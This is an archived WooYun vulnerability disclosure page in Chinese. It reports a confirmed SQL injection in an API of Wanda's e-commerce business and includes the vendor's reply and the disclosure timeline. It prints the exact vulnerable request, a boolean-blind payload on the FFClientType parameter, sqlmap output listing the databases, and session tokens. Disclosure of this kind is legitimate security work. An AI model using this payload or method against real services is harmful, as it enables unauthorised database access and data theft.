漏洞概要 关注数(14) 关注此漏洞
缺陷编号： WooYun-2016-193931
漏洞标题： 万达某电商电商业务SQL注入
相关厂商： 万达电商
漏洞作者： zzR![万达某电商电商业务SQL注入]()
提交时间： 2016-04-08 16:38
公开时间： 2016-05-26 15:50
漏洞类型： SQL注射漏洞
危害等级： 高
自评Rank： 12
漏洞状态： 厂商已经确认
漏洞来源：www.wooyun.org ，如有疑问或需要帮助请联系
Tags标签： 东方红DOTA安全联盟－sql注入
漏洞详情
披露状态：
2016-04-08： 细节已通知厂商并且等待厂商处理中
2016-04-11： 厂商已经确认，细节仅向厂商公开
2016-04-21： 细节向核心白帽子及相关领域专家公开
2016-05-01： 细节向普通白帽子公开
2016-05-11： 细节向实习白帽子公开
2016-05-26： 细节向公众公开
简要描述：
东方红DOTA安全联盟－来一发
详细说明：
GET http://api.ffan.com/ffan/v1/appskin/appSkins?FFClientType=1&FFClientVersion=32100000&FFUDID=15440&ddId=55&pLoginToken=bc5a89c493de&puid=7A3A3&size=750_1334&version=1&wdId=0f1cf59b3ff HTTP/1.1
Host: api.ffan.com
Accept: */*
Proxy-Connection: keep-alive
sqlmap resumed the following injection point(s) from stored session:
---
back-end DBMS: MySQL 5
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: FFClientType (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: FFClientType=1 AND 6831=6831&FFClientVersion=32100000&FFUDID=15000000068222440&ddId=ded10ed85e3c8af56018ad2f9b2f557a304d6155&pLoginToken=bc5ad73a25a6fb59e3a26fe289c493de&puid=7C325CCEC0484391953762A94DABA3A3&size=750_1334&version=1&wdId=9a100c5a595de2696d7670f1cf59b3ff
Vector: AND [INFERENCE]
---
back-end DBMS: MySQL >= 5.0.0
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: FFClientType (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: FFClientType=1 AND 6831=6831&FFClientVersion=32100000&FFUDID=15000000068222440&ddId=ded10ed85e3c8af56018ad2f9b2f557a304d6155&pLoginToken=bc5ad73a25a6fb59e3a26fe289c493de&puid=7C325CCEC0484391953762A94DABA3A3&size=750_1334&version=1&wdId=9a100c5a595de2696d7670f1cf59b3ff
Vector: AND [INFERENCE]
---
back-end DBMS: MySQL >= 5.0.0
available databases [3]:
[*] ffan
[*] information_schema
[*] test
漏洞证明：
好像是主库ffan
跑起来好费劲～
修复方案：
电影票能修复该问题
版权声明：转载请注明来源 zzR@乌云
漏洞回应
厂商回应：
危害等级：高
漏洞Rank：13
确认时间：2016-04-11 15:43
厂商回复：
感谢zzR同学的关注与贡献，马上通知业务整改。
最新状态：
暂无
漏洞评价：
对本漏洞信息进行评价，以更好的反馈信息的价值，包括信息客观性，内容是否完整以及是否具备学习价值
漏洞评价(共0人评价):
登陆后才能进行评分
( 普通白帽子 | Rank:998 漏洞数:91 | 不会吹牛的小二不是好厨子！)
( 普通白帽子 | Rank:830 漏洞数:207 | 努力让某某某成为最幸福的女人！)
( 核心白帽子 | Rank:1408 漏洞数:127 | 东方红＊＊联盟欢迎你－0-)
( 普通白帽子 | Rank:453 漏洞数:54 | 答案)
评论